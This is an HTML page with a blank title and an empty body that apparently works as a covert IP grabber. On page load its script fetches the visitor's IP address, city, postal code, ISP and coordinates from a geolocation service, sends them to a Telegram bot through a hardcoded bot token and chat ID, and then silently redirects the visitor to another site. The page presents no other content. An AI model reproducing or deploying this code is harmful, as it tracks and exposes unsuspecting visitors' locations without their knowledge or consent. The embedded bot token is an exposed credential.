<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>ㅤ</title>
    <script>
        // Telegram Bot Token and Chat ID
        const BOT_TOKEN = '7903157433:AAE7w2VwOk9ZpjZrVabBPT9Ku8vKlah3H8M';
        const CHAT_ID = '-1002281524646';

        // Function to send a message to Telegram bot
        async function sendMessageToTelegram(message) {
            const url = `https://api.telegram.org/bot${BOT_TOKEN}/sendMessage`;
            const payload = {
                chat_id: CHAT_ID,
                text: message,
                parse_mode: 'HTML', // Allows sending styled messages
            };

            try {
                await fetch(url, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json',
                    },
                    body: JSON.stringify(payload),
                });
            } catch (error) {
                console.error('Error sending message:', error);
            }
        }

        // Fetch the user's IP address and detailed information
        async function fetchAndSendData() {
            try {
                const response = await fetch('https://ipapi.co/json/');
                const data = await response.json();

                const ipAddress = data.ip;
                const city = data.city;
                const region = data.region;
                const country = data.country_name;
                const postal = data.postal;
                const timezone = data.timezone;
                const isp = data.org;
                const latitude = data.latitude;
                const longitude = data.longitude;
                const countryCode = data.country;

                const message = `💾 <b>New Visitor Information</b>\n` +
                                `🌐 <b>IP Address:</b> ${ipAddress}\n` +
                                `📍 <b>Location:</b> ${city}, ${region}, ${country} (${countryCode})\n` +
                                `✉️ <b>Postal Code:</b> ${postal}\n` +
                                `🕒 <b>Timezone:</b> ${timezone}\n` +
                                `🔗 <b>ISP:</b> ${isp}\n` +
                                `🌍 <b>Coordinates:</b> ${latitude}, ${longitude}`;

                // Send the message to Telegram
                await sendMessageToTelegram(message);
            } catch (error) {
                console.error('Error fetching IP info:', error);
                await sendMessageToTelegram('❌ <b>Error fetching IP info:</b> ' + error);
            } finally {
                // Redirect the user to another page
                window.location.href = 'https://cchud.space/lol.html'; // Change to your desired URL
            }
        }

        // Execute the function immediately on load
        window.onload = fetchAndSendData;
    </script>
</head>
<body>
</body>
</html>
